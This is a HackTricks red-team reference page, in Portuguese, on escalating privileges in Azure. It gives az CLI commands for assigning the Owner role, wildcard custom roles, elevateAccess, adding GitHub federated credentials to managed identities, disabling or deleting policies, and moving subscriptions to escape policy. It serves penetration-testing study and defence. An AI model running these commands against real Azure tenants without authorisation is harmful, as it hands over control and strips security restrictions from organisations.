Az - Azure IAM Privesc (Autorização)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Azure IAM

Para mais informações, consulte:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

Essa permissão permite atribuir roles a principals em um scope específico, permitindo que um attacker escale privilégios ao atribuir a si mesmo um role mais privilegiado:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Esta permissão permite modificar as permissões concedidas a uma função, permitindo que um attacker escale privilégios ao conceder mais permissões a uma função que ele já tenha atribuído.

Crie o arquivo role.json com o seguinte conteúdo:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Em seguida, atualize as permissões do role com a definição anterior chamando:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Esta permissão permite elevar privilégios e atribuir permissões a qualquer principal sobre recursos do Azure. Destina-se a ser concedida a Entra ID Global Administrators para que também possam gerenciar permissões sobre recursos do Azure.

Tip

Acho que o usuário precisa ser Global Administrator no Entra ID para que a chamada elevate funcione.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Esta permissão permite adicionar credenciais federadas a identidades gerenciadas. Ex.: conceder acesso do Github Actions em um repositório a uma identidade gerenciada. Depois, ela permite acessar qualquer identidade gerenciada definida pelo usuário.

Exemplo de comando para conceder acesso a um repositório no Github a uma identidade gerenciada:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Um atacante com a permissão Microsoft.Authorization/policyAssignments/write ou Microsoft.Authorization/policyAssignments/delete sobre um grupo de gerenciamento, assinatura ou grupo de recursos pode modificar ou excluir atribuições do Azure Policy, potencialmente desabilitando restrições de segurança que bloqueiam operações específicas.

Isso permite o acesso a recursos ou funcionalidades que anteriormente eram protegidos pela política.

Excluir uma atribuição do Azure Policy:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Desabilitar uma atribuição de política:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Verifique as alterações:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

An attacker com a permissão Microsoft.Authorization/policyDefinitions/write pode modificar definições de política do Azure, alterando as regras que controlam as restrições de segurança em todo o ambiente.

Por exemplo, uma política que limita as regiões permitidas para criação de recursos pode ser modificada para permitir qualquer região, ou o efeito da política pode ser alterado para torná-la ineficaz.

Modificar uma definição de política:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Verifique as alterações:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Um atacante com a permissão Microsoft.Management/managementGroups/write pode modificar a estrutura hierárquica dos management groups ou criar novos management groups, potencialmente evitando políticas restritivas aplicadas em níveis superiores.

Por exemplo, um atacante pode criar um novo management group sem políticas restritivas e então mover assinaturas para ele.

Criar um novo management group:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Modificar uma hierarquia de management group:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Verifique as alterações:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Um atacante com a permissão Microsoft.Management/managementGroups/subscriptions/write pode mover subscriptions entre management groups, potencialmente evitar políticas restritivas movendo uma subscription para um grupo com políticas menos restritivas ou sem políticas.

Mover uma subscription para um management group diferente:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Verifique as alterações:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks